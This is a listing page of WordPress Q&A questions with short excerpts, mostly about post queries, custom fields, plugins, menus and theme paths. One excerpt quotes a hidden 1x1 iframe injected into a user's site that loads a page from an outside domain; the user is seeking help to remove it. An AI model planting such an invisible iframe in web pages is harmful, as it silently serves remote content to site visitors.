0
votes
1answer
64 views

Displaying the 'time ago' for recent activity within a post/custom post type?

How to get the 'freshness' of a post? (when it was last updated or commented and by who?) e.g. 48 days / admin (avatar).
3
votes
3answers
2k views

How to check if a slug exists?

I have a arbitrary string and want to check if a post with that slug string exists in the site. I tried to find a way to list all slugs, but can't find such a thing. Thanks
1
vote
1answer
52 views

Wordpress CodeHighlighter

I've noticed on a couple of websites that the code highlighter can have some options like print / copy to clipboard, ... I've installed CodeHighlighter as a Wordpress plugin in my website but can't ...
1
vote
1answer
216 views

Can I allow certain people to add/edit pages within a parent?

I'm planning on building a site with different sections, for example: Training Conferences Ideas A different person will be in charge of editing and managing each section. They will be able to ...
0
votes
3answers
240 views

Allow customers to download updated versions of software

I will shortly be creating my WordPress website in which I will be selling a software product. Ideally, I would want two things to happen : 1) When a customer makes a payment(through PayPal account ...
0
votes
1answer
306 views

If post custom meta data is not set, show normal state

I'm much of a php-noob but have this idea of a loop for my site. I have the idea behind it but maybe you have an idea how to put this into code: $customfield = get_specific_customfield if ...
0
votes
1answer
975 views

make a dropdown custom field with 'cities' list in it

I am developing a website for real estates. I was wondering that how can I add a dropdown to my custom forms (theme my login plugin) for cities states etc. The basic point is that I dont want to add ...
2
votes
1answer
2k views

Why does my short code get executed before other content?

I have the following text in a page. As you can see my shortcode is right at the bottom but somehow when the code runs, the out put of my shortcode is inserted at the top of the page instead of ...
0
votes
1answer
755 views

Creating an If/Else statement using WPAlchemy MetaBox radio boxs

I am using the WPAlchemy MetaBox Class to create additional metaboxs on my site. One has a section with a group of radio boxes. I've coded it as follows: <?php $mb->the_field('docposs'); ...
0
votes
1answer
611 views

Add custom post type to query

$saved = $wp_query; query_posts(array('tag__in' => $tag_array, 'showposts' => $args['posts_per_page'])); I need this to query standard posts and a custom post type called "property" I can't ...
3
votes
2answers
873 views

OpenX Alternative for wordpress? [closed]

I'm looking for advertising manager so i can handle all the ads, and AdSense units in one place. i used open until now but its seems they are going to deprecate their system (the open source one) - ...
1
vote
1answer
150 views

Help with Wordpress Query

I'm sort of a noob when it comes to Wordpess; I've only recently started building themes and I've run into a wall. I'm trying to feature 3 different articles at the top of my site using wpquery and ...
1
vote
1answer
106 views

Can I have the same wordpress site under different url?

Can I run the save a wordpress site under different domain names? Like mydomain.com and mydomain.net ? Where the domain name will NOT change in the address bar of web browser.
1
vote
2answers
2k views

Add Piwik Tracking code to page

I use piwik analytics to track the visitors to my website. I recently created a blog on WordPress and wanted to added the same tracking code that I use on the plain HTML webpage. How can I added the ...
47
votes
2answers
28k views

Uninstall, Activate, Deactivate a plugin: typical features & how-to

I'm making a wordpress plugin. What are typical things I should include in the uninstall feature? For example, should I delete any tables I created in the install function? Do I clean up my option ...
0
votes
3answers
799 views

Powering only a subfolder with WordPress on a LAMP stack with an nginx reverse proxy

[I just posted this on the WP Forums, too, before anyone starts Googling and saying that this is posted somewhere else] I'm hoping this isn't a duplicate, but I've been searching here and Googling ...
0
votes
1answer
67 views

long blog post on self hosted wordpress blog not displayed

I have my self hosted wordpress blog here I recently created a blog post which is very long with so many pictures and text, but i suddenly found that my blog post was not displayed but if i cut short ...
3
votes
1answer
2k views

The right way to create a custom search page for complex custom post types

I am trying to create a custom search page to show only custom posts types that meet specific search criteria. I have a complex form that involves different selects, radio buttons and text input ...
3
votes
2answers
2k views

How Can I Organize the Uploads Folder by Slug (or ID, or FileType, or Author)?

I want to store all attachments (media) in folders named with each post title. Example: /wp-content/uploads/my-post-about-stuff/ The folder should contain all media attached to that post. Is that ...
1
vote
1answer
111 views

I need ideas for a complicated menu

I have a slightly complicated menu to code from PSD document and integrate into wordpress. this is how it looks: (link in the comment bellow) The result of my work is this: ...
1
vote
1answer
450 views

Application / Admission Form plugin [closed]

I'm looking for a plugin that would allow tracking of an application similar to the admission forms used for colleges. Ideally, a student would be able to fill out the application and submit it (and ...
5
votes
4answers
2k views

A way to automatically install pages on theme install?

I'm trying to build a theme which would require specific pages to be included. Is there a way to automatically create pages and assign them to their page templates when a theme is installed?
0
votes
1answer
140 views

Thumbnails generated by “add_image_size” are not removed when removing media

I've noticed that images which are generated by "add_image_size" wont be deleted whenever i delete the media item. So after removing all media items in the media manager i have a upload folder full of ...
0
votes
1answer
32 views

All my files are on my blog! I need sync solution

I uploaded all my files on my blog (self hosted). Now all my files (documents, photos, etc...) are somewhere in wp-content/upoads folder... Is there a way of having all my files in their folders ...
7
votes
2answers
2k views

How to check if I'm on the last page of posts?

I want to display some text on the last page that isn't displayed on the other pages. For example, on category pages: url.com/category/categoryname/page/6 or last page of all posts listed on the ...
0
votes
1answer
172 views

trying to add a author value in wp page links?

function wp_link_pages_titled($args = '',$name,$author) { $defaults = array( 'before' => '<p>' . __('Pages:'), 'after' => '</p>', 'link_before' => '', ...
0
votes
2answers
867 views

Call a Simple JQuery from within Flash

This is hopefully really simple for someone but I'm a newbie and trying to learn how to connect to JQuery's on my site from an embedded Flash swf. I'm attempting to do a simple example first to test ...
1
vote
3answers
3k views

Add a #hash to the links in my custom menu

I have created a static frontpage where I load in the content of all my pages. Now I have a normal custom menu, but the links refer to the pages, for example: http://mysite.com/about Now the I want ...
3
votes
2answers
545 views

Sort X categories by last update and show image

I want to display X categories, and sort them by last update. I also want to grab the image of the latest post with the category. <img src="<?php echo ...
1
vote
2answers
2k views

Is there a way to rename “themes” directory name?

By defining TEMPLATEPATH, STYLESHEETPATH, WP_CONTENT_DIR and WP_CONTENT_URL merely affect the naming changes to wp-content. Is there any way to redefine the theme path and plugin path, so the new ...
0
votes
1answer
784 views

jQuery tabs plugin with callback to fetch data

I want to use tabs plugin and load tab contents using ajax. The problem is: the plugin requires a solid .php file to be specified in href e.g. <li><a href="ajax/content3-slow.php">Tab 3 ...
0
votes
4answers
265 views

Malicious script is being appended to my markup. Help? [closed]

On my site, the script below is being added: <iframe width="1" height="1" frameborder="0" src="http://hysofufewobe.com/k985ytv.htm"> I tried searching every file in my WP install directory ...
0
votes
1answer
577 views

Moved wp-content and got problem with themes directory?

I have moved the 'wp-content' directory to a new folder following the guide at Moving Wp-content. I could able to access plugins directory with out any problem as I used the wp_content_dir in addition ...
0
votes
3answers
116 views

Is there a plugin that enables users to log in with their google account (not the make-your site-social plugin)?

Right now I'm using two plugins: One for enabling users to login with their twitter account and one for their facebook. I've searhced the whole web but I can't find one for Google Accounts. Any ...
5
votes
4answers
296 views

Add my own button next to “Screen options” and “Help” in the admin

I'd like to add my own button link next to these two. Is this possible?
0
votes
1answer
767 views

Weird undefined index: id,std notices. How to fix it?

Ok I'm running my wordpress in debug mode. I'm getting lot of notices. This is my code. <?php //allows the theme to get info from the theme options page global $options; foreach ($options as ...
0
votes
1answer
302 views

Strange Search Query Appearing on Google Index - “/?q=Save+Us+From+Berlusconi”

Strange. Stripping my site URL, and searching for the term "/?q=Save+Us+From+Berlusconi" on Google shows up this blog post written way back in 2009: http://www.seroundtable.com/archives/021647.html ...
0
votes
1answer
484 views

Plugin redirects URL structure using 301 redirect. Time to disable the plugin?

I have been using a plugin that goes by the name "Permalink Redirect." This WordPress plugin redirects older permalinks to the newer one set by me. Old URL structure: ...
0
votes
1answer
870 views

Membership & Event Registration/Management plus-ins for non-profit [closed]

I maintain the website for a non-profit organization for historians/archivists. I'm migrating a static HTML site to WP. One of the main reasons for the transition is to utilize plugins for membership ...
1
vote
1answer
123 views

Data validation

I find Data Validation page on Codex a bit confusing. It highlights what all functions do but not how one differs from another and which one should be the right choice in a particular use case. Like ...
0
votes
2answers
766 views

Give users acces to admin a single post or set up WP network?

I have a directory styled site in which companies are listed. I would like to give the owners of the companies(the ones on my site) the option to take control of the content in their company entry. ...
0
votes
1answer
332 views

active parent page when clicked on childpage

Hi there Wordpress guru's, i running up against a problem. I've my parent pages in the header.php and childpages in page.php. when i clicked on one of the subpages in a parent page i want that my ...
0
votes
1answer
90 views

How great custom post type can be?

You know how sweet it is WP with its plugins and custom post types. I love WP so much until i have come to a thought that most of any kind of website can be done in WP. Recently my boss want me to ...
0
votes
2answers
260 views

How to change wordpress news root url

I have a site and my customer has decided the url for what used to be news should now be renamed to tips-and-tricks, but we want to keep the old urls too because we don't want to lose old links. I've ...
0
votes
1answer
411 views

Extract all shortcode data from post into loop variables?

My client wants to have several pages in which he can edit small, separate parts of a Wordpress page. For example, there is a callout box in the upper left corner. There is also a small piece of ...
11
votes
1answer
6k views

Setting a post's featured image from an embedded YouTube video

If I create a post that has an embedded YouTube video in it (so all I do is paste the YouTube URL into the post and let Wordpress automatically embed it for me), is there a way to have the thumbnail ...
1
vote
1answer
112 views

How to create an archive page (with links) for a date range?

Is there a plugin which can create an Archive page for a limited date range? Thanks.
0
votes
1answer
984 views

AJAX wp-mysql running too slow

I have made a function of ajax, which returns all the posts starting with a particular alphabet, suppose a user clicks on letter A, then all the posts starting with letter A will be displayed, any how ...
1
vote
1answer
578 views

Custom CSS without css.php file

i'm creating and theme and would like the user to be able to select their font family. Typically, i see that people use css.php files and pass user defined variables inside it. I'm a bit concerned of ...
0
votes
2answers
838 views

Editing wp-config.php

I need to add the line define('WP_POST_REVISIONS', false); to my config.php , so that post revisions are disabled. I don't have access to wp-config.php, I have permission to edit my theme and ...

15 30 50 per page